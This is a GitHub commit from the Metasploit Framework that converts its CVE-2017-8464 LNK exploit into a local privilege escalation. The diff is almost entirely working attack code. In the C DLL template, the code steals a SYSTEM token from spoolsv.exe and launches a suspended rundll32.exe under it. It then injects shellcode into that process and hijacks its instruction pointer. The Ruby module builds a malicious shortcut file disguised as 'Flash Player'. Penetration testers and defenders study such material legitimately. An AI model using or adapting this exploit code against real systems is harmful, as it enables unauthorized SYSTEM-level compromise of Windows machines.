Skip to content

Commit d0ebfa1

Browse files
committed
Change the template technicque to work as an LPE
1 parent 825ad94 commit d0ebfa1

File tree

6 files changed

+221
-52
lines changed

6 files changed

+221
-52
lines changed

data/exploits/cve-2017-8464/src/build.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,10 @@ ${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
88
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
99
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
1010
rm -f temp.dll *.o
11+
chmod -x ../template_x64_windows.dll
1112

1213
${CCx86}-gcc -c -Os template.c -Wall -shared
1314
${CCx86}-dllwrap --def template.def *.o -o temp.dll
1415
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
1516
rm -f temp.dll *.o
17+
chmod -x ../template_x86_windows.dll

data/exploits/cve-2017-8464/src/template.c

Lines changed: 204 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,17 @@
1-
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
2-
// - removed ExitThread(0) to prevent an Explorer crash
3-
// - added Mutex to prevent invoking payload multiple times (at least try)
41
#include <windows.h>
5-
#include "template.h"
2+
#include <sddl.h>
3+
#include <tchar.h>
4+
#include <tlhelp32.h>
5+
#include <userenv.h>
66

7-
void inline_bzero(void *p, size_t l)
8-
{
9-
BYTE *q = (BYTE *)p;
10-
size_t x = 0;
11-
for (x = 0; x < l; x++)
12-
*(q++) = 0x00;
13-
}
7+
#include "template.h"
148

15-
void ExecutePayload(void);
9+
void ExecutePayload(HANDLE hDll);
1610

17-
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
18-
{
19-
switch (dwReason)
20-
{
11+
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
12+
switch (dwReason) {
2113
case DLL_PROCESS_ATTACH:
22-
ExecutePayload();
14+
ExecutePayload(hDll);
2315
break;
2416

2517
case DLL_PROCESS_DETACH:
@@ -31,65 +23,232 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
3123
case DLL_THREAD_DETACH:
3224
break;
3325
}
26+
return TRUE;
27+
}
28+
29+
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
30+
int result;
31+
32+
if (strlen(szStr) < strlen(szSuffix)) {
33+
return FALSE;
34+
}
35+
if (bCaseSensitive) {
36+
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
37+
}
38+
else {
39+
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
40+
}
41+
return result == 0;
42+
}
43+
44+
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
45+
HANDLE hToken;
46+
DWORD dwLength = 0;
47+
TOKEN_USER *tuUser = NULL;
48+
SIZE_T szSid = 0;
49+
50+
*pSid = NULL;
51+
do {
52+
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
53+
return FALSE;
54+
}
55+
56+
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
57+
tuUser = (TOKEN_USER *)malloc(dwLength);
58+
if (tuUser == NULL) {
59+
break;
60+
}
61+
62+
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
63+
break;
64+
}
65+
66+
szSid = GetLengthSid(tuUser->User.Sid);
67+
*pSid = LocalAlloc(LPTR, szSid);
68+
if (*pSid == NULL) {
69+
break;
70+
}
71+
72+
if (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid)) {
73+
LocalFree(*pSid);
74+
*pSid = NULL;
75+
}
76+
} while (FALSE);
77+
78+
if (tuUser != NULL) {
79+
free(tuUser);
80+
}
81+
if (hToken) {
82+
CloseHandle(hToken);
83+
}
84+
85+
if (*pSid != NULL) {
86+
return TRUE;
87+
}
88+
return FALSE;
89+
}
90+
91+
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
92+
PSID pTestSid = NULL;
93+
PSID pTargetSid = NULL;
94+
95+
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
96+
return FALSE;
97+
}
3498

99+
if (!GetProcessSid(hProc, &pTestSid)) {
100+
LocalFree(pTargetSid);
101+
return FALSE;
102+
}
103+
104+
*pbResult = EqualSid(pTestSid, pTargetSid);
105+
LocalFree(pTargetSid);
106+
LocalFree(pTestSid);
35107
return TRUE;
36108
}
37109

38-
void ExecutePayload(void)
39-
{
110+
DWORD FindProcessId(LPCTSTR szProcessName) {
111+
HANDLE hProcessSnap;
112+
PROCESSENTRY32 pe32;
113+
DWORD result = 0;
114+
115+
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
116+
if (hProcessSnap == INVALID_HANDLE_VALUE) {
117+
return 0;
118+
}
119+
120+
pe32.dwSize = sizeof(PROCESSENTRY32);
121+
if (!Process32First(hProcessSnap, &pe32)) {
122+
CloseHandle(hProcessSnap);
123+
return 0;
124+
}
125+
126+
do {
127+
if (!strcmp(szProcessName, pe32.szExeFile)) {
128+
result = pe32.th32ProcessID;
129+
break;
130+
}
131+
} while (Process32Next(hProcessSnap, &pe32));
132+
CloseHandle(hProcessSnap);
133+
return result;
134+
}
135+
136+
HANDLE GetPayloadToken(void) {
137+
HANDLE hTokenHandle = NULL;
138+
HANDLE hProcessHandle = NULL;
139+
BOOL bIsSystem = FALSE;
140+
DWORD dwPid = 0;
141+
CHAR Path[MAX_PATH + 1];
142+
143+
ZeroMemory(Path, sizeof(Path));
144+
GetModuleFileNameA(NULL, Path, MAX_PATH);
145+
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
146+
return NULL;
147+
}
148+
/* loaded into the context of SearchProtocolHost.exe */
149+
150+
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
151+
return NULL;
152+
}
153+
/* and running as NT_AUTHORITY SYSTEM */
154+
155+
dwPid = FindProcessId("spoolsv.exe");
156+
if (!dwPid) {
157+
return NULL;
158+
}
159+
160+
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
161+
if (!hProcessHandle) {
162+
return NULL;
163+
}
164+
165+
bIsSystem = FALSE;
166+
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
167+
return NULL;
168+
}
169+
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
170+
171+
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
172+
CloseHandle(hProcessHandle);
173+
return hTokenHandle;
174+
}
175+
176+
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
177+
/* wait for the process to exit or 10 seconds before cleaning up */
178+
WaitForSingleObject(pExploitData->hProcess, 10000);
179+
CloseHandle(pExploitData->hProcess);
180+
CloseHandle(pExploitData->hMutex);
181+
182+
/* this does not return */
183+
FreeLibraryAndExitThread(pExploitData->hModule, 0);
184+
return 0;
185+
}
186+
187+
void ExecutePayload(HANDLE hDll) {
40188
PROCESS_INFORMATION pi;
41189
STARTUPINFO si;
42190
CONTEXT ctx;
43191
LPVOID ep;
44-
HANDLE hMutex;
45192
SECURITY_ATTRIBUTES MutexAttributes;
193+
SIZE_T dwBytesWritten = 0;
194+
PEXPLOIT_DATA pExploitData = NULL;
195+
HANDLE hToken;
46196

47-
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
197+
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
198+
if (!pExploitData) {
199+
return;
200+
}
201+
202+
/* keep a reference to the module for synchronization purposes */
203+
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
204+
205+
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
48206
MutexAttributes.nLength = sizeof(MutexAttributes);
49207
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
50-
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
51-
if(hMutex == NULL)
52-
{
208+
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
209+
if (!pExploitData->hMutex) {
53210
return;
54211
}
55212

56-
if(GetLastError() == ERROR_ALREADY_EXISTS)
57-
{
58-
CloseHandle(hMutex);
213+
if (GetLastError() == ERROR_ALREADY_EXISTS) {
214+
CloseHandle(pExploitData->hMutex);
59215
return;
60216
}
61217

62-
if(GetLastError() == ERROR_ACCESS_DENIED)
63-
{
64-
CloseHandle(hMutex);
218+
if (GetLastError() == ERROR_ACCESS_DENIED) {
219+
CloseHandle(pExploitData->hMutex);
65220
return;
66221
}
67222

68-
// Start up the payload in a new process
69-
inline_bzero(&si, sizeof(si));
223+
hToken = GetPayloadToken();
224+
225+
ZeroMemory(&si, sizeof(si));
70226
si.cb = sizeof(si);
71227

72-
// Create a suspended process, write shellcode into stack, resume it
73-
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
74-
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
228+
/* start up the payload in a new process */
229+
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
230+
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
75231
GetThreadContext(pi.hThread, &ctx);
76-
77232
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
78-
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
233+
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
234+
if (dwBytesWritten == SCSIZE) {
79235

80236
#ifdef _WIN64
81-
ctx.Rip = (DWORD64)ep;
237+
ctx.Rip = (DWORD64)ep;
82238
#else
83-
ctx.Eip = (DWORD)ep;
239+
ctx.Eip = (DWORD)ep;
84240
#endif
85241

86-
SetThreadContext(pi.hThread, &ctx);
87-
ResumeThread(pi.hThread);
242+
SetThreadContext(pi.hThread, &ctx);
243+
ResumeThread(pi.hThread);
88244

89-
CloseHandle(pi.hThread);
90-
CloseHandle(pi.hProcess);
245+
CloseHandle(pi.hThread);
246+
pExploitData->hProcess = pi.hProcess;
247+
}
91248
}
92249

93-
CloseHandle(hMutex);
250+
if (hToken) {
251+
CloseHandle(hToken);
252+
}
253+
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
94254
}
95-
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,11 @@
11
#define SCSIZE 2048
22
unsigned char code[SCSIZE] = "PAYLOAD:";
33

4+
typedef struct {
5+
HANDLE hModule;
6+
HANDLE hMutex;
7+
HANDLE hProcess;
8+
} EXPLOIT_DATA, *PEXPLOIT_DATA;
9+
10+
#define SIDSTR_SYSTEM _T("s-1-5-18")
11+
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)

data/exploits/cve-2017-8464/template_x64_windows.dll

100755100644
2 KB
Binary file not shown.

data/exploits/cve-2017-8464/template_x86_windows.dll

100755100644
2.5 KB
Binary file not shown.

modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,8 @@ def initialize(info = {})
4747
],
4848
'DefaultOptions' =>
4949
{
50-
'EXITFUNC' => 'thread',
51-
'WfsDelay' => 45,
50+
'EXITFUNC' => 'process',
51+
'WfsDelay' => 30,
5252
},
5353
'Arch' => [ARCH_X86, ARCH_X64],
5454
'Payload' =>
@@ -78,14 +78,14 @@ def initialize(info = {})
7878
register_advanced_options(
7979
[
8080
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
81-
OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
82-
OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
81+
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
82+
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
8383
]
8484
)
8585
end
8686

8787
def exploit
88-
path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
88+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
8989
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
9090
datastore['EXE::Path'] = path
9191
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
@@ -105,8 +105,8 @@ def exploit
105105
def generate_link(path)
106106
vprint_status("Generating LNK file to load: #{path}")
107107
path << "\x00"
108-
display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
109-
comment = datastore['LNK_COMMENT'].dup << "\x00"
108+
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
109+
comment = datastore['LnkComment'].dup << "\x00"
110110

111111
# Control Panel Applet ItemID with our DLL
112112
cpl_applet = [

0 commit comments

Comments
 (0)